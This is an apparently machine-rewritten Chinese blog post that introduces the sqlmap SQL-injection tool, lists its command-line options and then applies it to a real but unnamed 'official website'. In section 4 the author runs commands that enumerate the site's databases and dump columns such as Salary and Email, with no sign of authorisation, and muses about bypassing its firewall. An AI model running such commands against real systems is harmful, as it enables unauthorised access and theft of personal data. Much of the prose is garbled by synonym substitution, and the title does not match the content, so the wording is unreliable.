首页 » PHP教程 » phprandomize技巧_分享一个有意思的渗透测试对象sqlmap

phprandomize技巧_分享一个有意思的渗透测试对象sqlmap

访客 2024-11-17 0

扫一扫用手机浏览

文章目录 [+]

官方网站:http://sqlmap.org/

下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master

phprandomize技巧_分享一个有意思的渗透测试对象sqlmap

1、sqlmap简介

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库做事器的权限。
它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件乃至可以通过外带数据连接的办法实行操作系统命令。

phprandomize技巧_分享一个有意思的渗透测试对象sqlmap
(图片来自网络侵删)

sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

sqlmap支持五种不同的注入模式:

l 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;

l 基于韶光的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看韶光延迟语句是否实行(即页面返回韶光是否增加)来判断;

l 基于报错注入,即页面会返回缺点信息,或者把注入的语句的结果直接返回在页面中;

l 联合查询注入,可以利用union的情形下的注入;

l 堆查询注入,可以同时实行多条语句的实行时的注入。

2、下载及安装

2.1、linux下git直接安装

gitclone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

2.2、windows下安装

windows下下载sqlmap的压缩包,解压后即可利用。
但须要一些组件包的支持,须要有python3.x环境支持。

3、SQL利用参数详解

用法: sqlmap.py [选项]

3.1 选项

-h,--help 显示基本帮助信息并退出 -hh 显示高等帮助信息并退出 --version 显示程序版本信息并退出-vVERBOSE信息级别: 0-6 (缺省1),其值详细含义:“0”只显示python缺点以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP要求;“5”同时显示HTTP相应头;“6”同时显示HTTP相应页面;如果想看到sqlmap发送的测试payload最好的等级便是3。

3.2、目标

在这些选项中必须供应至少有一个确定目标

-d DIRECT 直接连接数据库的连接字符串-u URL, --url=URL 目标URL (e.g."http://www.site.com/vuln.php?id=1"),利用-u或者--url-l LOGFILE 从Burp或者WebScarab代理日志文件等分析目标-x SITEMAPURL 从远程网站舆图(sitemap.xml)文件来解析目标-m BULKFILE 将目标地址保存在文件中,一行为一个URL地址进行批量检测。
-r REQUESTFILE 从文件加载HTTP要求,sqlmap可以从一个文本文件中获取HTTP要求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),要求是HTTPS的时须要合营这个--force-ssl参数来利用,或者可以在Host头后门加上:443-g GOOGLEDORK 从谷歌中加载结果目标URL(只获取前100个结果,须要挂代理)-c CONFIGFILE 从配置ini文件中加载选项

3.3 、要求

这些选项可以用来指定如何连接到目标URL

--method=METHOD 逼迫利用给定的HTTP方法(例如put) --data=DATA 通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。
--data="id=1" -f --banner --dbs --users --param-del=PARA.. 当GET或POST的数据须要用其他字符分割测试参数的时候须要用到此参数。
--cookie=COOKIE HTTP Cookieheader 值 --cookie-del=COO.. 用来分隔cookie的字符串值 --load-cookies=L.. Filecontaining cookies in Netscape/wget format --drop-set-cookie IgnoreSet-Cookie header from response --user-agent=AGENT 默认情形下sqlmap的HTTP要求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以利用--user-agent参数来修正,同时也可以利用--random-agent参数来随机的从./txt/user-agents.txt中获取。
当--level参数设定为3或者3以上的时候,会考试测验对User-Angent进行注入 --random-agent 利用random-agent作为HTTP User-Agent头值 --host=HOST HTTP Hostheader value --referer=REFERER sqlmap可以在要求中假造HTTP中的referer,当--level参数设定为3或者3以上的时候会考试测验对referer注入 -H HEADER, --hea.. 额外的http头(e.g."X-Forwarded-For: 127.0.0.1") --headers=HEADERS 可以通过--headers参数来增加额外的http头(e.g."Accept-Language: fr\nETag: 123") --auth-type=AUTH.. HTTP的认证类型 (Basic, Digest, NTLM or PKI) --auth-cred=AUTH.. HTTP 认证凭据(name:password) --auth-file=AUTH.. HTTP 认证PEM证书/私钥文件;当Web做事器须要客户端证书进行身份验证时,须要供应两个文件:key_file,cert_file,key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。
--ignore-401 Ignore HTTPError 401 (Unauthorized)忽略HTTP 401缺点(未授权的) --ignore-proxy 忽略系统的默认代理设置 --ignore-redirects忽略重定向的考试测验 --ignore-timeouts 忽略连接超时 --proxy=PROXY 利用代理做事器连接到目标URL --proxy-cred=PRO.. 代理认证凭据(name:password) --proxy-file=PRO.. 从文件加载代理列表 --tor 利用Tor匿名网络 --tor-port=TORPORT 设置Tor代理端口 --tor-type=TORTYPE 设置Tor代理类型 (HTTP,SOCKS4 or SOCKS5 (缺省)) --check-tor 检讨Tor的是否精确利用 --delay=DELAY 可以设定两个HTTP(S)要求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。
--timeout=TIMEOUT 可以设定一个HTTP(S)要求超过多久剖断为超时,10表示10秒,默认是30秒。
--retries=RETRIES 当HTTP(S)超时时,可以设定重新考试测验连接次数,默认是3次。
--randomize=RPARAM可以设定某一个参数值在每一次要求中随机的变革,长度和类型会与供应的初始值一样 --safe-url=SAFEURL 供应一个安全不缺点的连接,每隔一段韶光都会去访问一下 --safe-post=SAFE.. 供应一个安全不缺点的连接,每次测试要求之后都会再访问一遍安全连接。
--safe-req=SAFER.. 从文件中加载安全HTTP要求 --safe-freq=SAFE.. 测试一个给定安全网址的两个访问要求 --skip-urlencode 跳过URL的有效载荷数据编码 --csrf-token=CSR.. Parameter usedto hold anti-CSRF token参数用来保存反CSRF令牌 --csrf-url=CSRFURL URL地址访问提取anti-CSRF令牌 --force-ssl 逼迫利用SSL/HTTPS --hpp 利用HTTP参数污染的方法 --eval=EVALCODE 在有些时候,须要根据某个参数的变革,而修正另个一参数,才能形成正常的要求,这时可以用--eval参数在每次要求时根据所写python代码做完修正后要求。
(e.g "import hashlib;id2=hashlib.md5(id).hexdigest()") sqlmap.py -u"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

3.4、注入

这些选项可用于指定要测试的参数、供应自定义注入有效载荷和可选的修改脚本。

-p TESTPARAMETER 可测试的参数 --skip=SKIP 跳过对给定参数的测试 --skip-static 跳过测试不显示为动态的参数 --param-exclude=.. 利用正则表达式打消参数进行测试(e.g. "ses") --dbms=DBMS 逼迫后真个DBMS为此值 --dbms-cred=DBMS.. DBMS认证凭据(user:password) --os=OS 逼迫后真个DBMS操作系统为这个值 --invalid-bignum 利用大数字使值无效 --invalid-logical 利用逻辑操作使值无效 --invalid-string 利用随机字符串使值无效 --no-cast 关闭有效载荷铸造机制 --no-escape 关闭字符串逃逸机制 --prefix=PREFIX 注入payload字符串前缀 --suffix=SUFFIX 注入payload字符串后缀 --tamper=TAMPER 利用给定的脚本修改注入数据

3.5、检测

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP相应页面的内容

--level=LEVEL 实行测试的等级(1-5,默认为1) --risk=RISK 实行测试的风险(0-3,默认为1) --string=STRING 查询时有效时在页面匹配字符串 --not-string=NOT.. 当查询求值为无效时匹配的字符串 --regexp=REGEXP 查询时有效时在页面匹配正则表达式 --code=CODE 当查询求值为True时匹配的HTTP代码 --text-only 仅基于在文本内容比较网页 --titles 仅根据他们的标题进行比较

3.6、列举

这些选项可以用来列举后端数据库管理系统的信息、表中的构造和数据。
此外,您还可以运行自定义的SQL语句。

-a, --all 获取所有信息 -b, --banner 获取数据库管理系统的标识 --current-user 获取数据库管理系统当前用户 --current-db 获取数据库管理系统当前数据库 --hostname 获取数据库做事器的主机名称 --is-dba 检测DBMS当前用户是否DBA --users 列举数据库管理系统用户 --passwords 列举数据库管理系统用户密码哈希 --privileges 列举数据库管理系统用户的权限 --roles 列举数据库管理系统用户的角色 --dbs 列举数据库管理系统数据库 --tables 列举的DBMS数据库中的表 --columns 列举DBMS数据库表列 --schema 列举数据库架构 --count 检索表的项目数,有时候用户只想获取表中的数据个数而不是详细的内容,那么就可以利用这个参数:sqlmap.py -u url --count -D testdb --dump 转储数据库表项 --dump-all 转储数据库所有表项 --search 搜索列(S),表(S)和/或数据库名称(S) --comments 获取DBMS注释 -D DB 要进行列举的指天命据库名 -T TBL DBMS数据库表列举 -C COL DBMS数据库表列列举 -X EXCLUDECOL DBMS数据库表不进行列举 -U USER 用来进行列举的数据库用户 --exclude-sysdbs 列举表时打消系统数据库 --pivot-column=P.. Pivot columnname --where=DUMPWHERE Use WHEREcondition while table dumping --start=LIMITSTART 获取第一个查询输出数据位置 --stop=LIMITSTOP 获取末了查询的输出数据 --first=FIRSTCHAR 第一个查询输出字的字符获取 --last=LASTCHAR 末了查询的输出字字符获取 --sql-query=QUERY 要实行的SQL语句 --sql-shell 提示交互式SQL的shell --sql-file=SQLFILE 要实行的SQL文件

3.7、一样平常选项

这些选项可以用来设置一些一样平常的事情参数

-s SESSIONFILE 保存和规复检索会话文件的所有数据 -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中 --batch 从不讯问用户输入,利用所有默认配置。
--binary-fields=.. 结果字段具有二进制值(e.g."digest") --charset=CHARSET 逼迫字符编码 --crawl=CRAWLDEPTH 从目标URL爬行网站 --crawl-exclude=.. 正则表达式从爬行页中打消 --csv-del=CSVDEL 限定利用CSV输出 (default",") --dump-format=DU.. 转储数据格式(CSV(default), HTML or SQLITE) --eta 显示每个输出的估量到达韶光 --flush-session 刷新当前目标的会话文件 --forms 解析和测试目标URL表单 --fresh-queries 忽略在会话文件中存储的查询结果 --hex 利用DBMS Hex函数数据检索 --output-dir=OUT.. 自定义输出目录路径 --parse-errors 解析和显示相应数据库缺点信息 --save=SAVECONFIG 保存选项到INI配置文件 --scope=SCOPE 从供应的代理日志中利用正则表达式过滤目标 --test-filter=TE.. 选择测试的有效载荷和/或标题(e.g. ROW) --test-skip=TEST.. 跳过试验载荷和/或标题(e.g.BENCHMARK) --update 更新sqlmap
4、sqlmap测试官网

由于官网是比较老的系统了,查看地址创造链接因此cid为结尾的,手工检测页面(例如增加 and 1=1)可以创造返回不正常,明显是带入数据库查询了,基于用sqlmap检测如下

4.1、查看数据库中的表

python sqlmap.py -u "http://xxx/prohuman.aspx?cid=1xxx001" --dbs --tables

4.2、查看某个库下的表

python sqlmap.py -u "xxxx" -D database_name --tables

4.3、查看某个表的详细字段

python sqlmap.py -u "xxxx" -D database_name -T 表名 --columns

4.4、查看表里面的数据

python sqlmap.py -u "xxxx" -D database_name -T 表名 -C ID,Orders,SiteID,Salary,Title,Email --dump

不过外网是访问不了的,怎么绕过这防火墙就不知道了..

后面会分享更多devops和DBA方面内容,感兴趣的朋友可以关注下~

相关文章

介绍白点控制之路,从原理到方法

白点,作为生活中常见的现象,无处不在。对于如何控制白点,许多人却感到困惑。本文将从原理出发,探讨白点的控制方法,并结合实际案例,为...

PHP教程 2025-01-03 阅读1 评论0

介绍直播王者,如何开启你的电竞直播之旅

随着电竞产业的蓬勃发展,越来越多的年轻人投身于电竞直播行业。王者荣耀作为一款备受欢迎的MOBA手游,吸引了大量玩家和观众。如何开启...

PHP教程 2025-01-03 阅读1 评论0